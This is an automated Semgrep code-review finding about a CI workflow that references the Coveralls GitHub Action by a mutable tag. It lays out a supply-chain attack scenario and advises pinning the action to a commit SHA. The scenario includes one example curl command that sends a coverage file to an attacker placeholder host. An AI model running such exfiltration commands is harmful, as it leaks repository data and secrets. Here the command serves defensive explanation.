Semgrep identified an issue in your code:

coverallsapp/github-action@v2.3.8 uses a movable tag, so this workflow can silently start running different code if that tag is repointed.

More details about this

coverallsapp/github-action@v2.3.8 is pulled by a version tag, not a full commit SHA. If the v2.3.8 tag is ever moved, this Coveralls GitHub Action step would run whatever code the tag points to inside your workflow.

A plausible attack looks like this:

  1. An attacker gains control of the coverallsapp/github-action repository or its release process.
  2. They repoint the v2.3.8 tag to a new commit that contains malicious action code.
  3. Your workflow reaches - name: Coveralls GitHub Action and GitHub resolves uses: coverallsapp/github-action@v2.3.8 to that attacker-controlled commit.
  4. The malicious action runs in your CI job after pnpm install and after the coverage files have been downloaded into coverage/.
  5. That code can read the checked-out repository, inspect files like coverage/lcov.info, access any secrets or tokens exposed to this job, and send them to an attacker with a command such as curl -d @coverage/lcov.info https://attacker.example/exfil.

Because the reference is mutable, the code that runs here can change without any workflow diff in your repo.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference with a full 40-character commit SHA in the uses line.
    Change coverallsapp/github-action@v2.3.8 to coverallsapp/github-action@<full-commit-sha>.

  2. Keep the current version as a comment so the workflow still shows the intended release.
    Use the same format as uses: coverallsapp/github-action@<full-commit-sha> # v2.3.8.

  3. Get the SHA from the v2.3.8 release or tag in the coverallsapp/github-action repository, and make sure it is the exact commit that tag points to.
    Pinning to a commit SHA prevents the action owner from silently moving the tag to different code later.
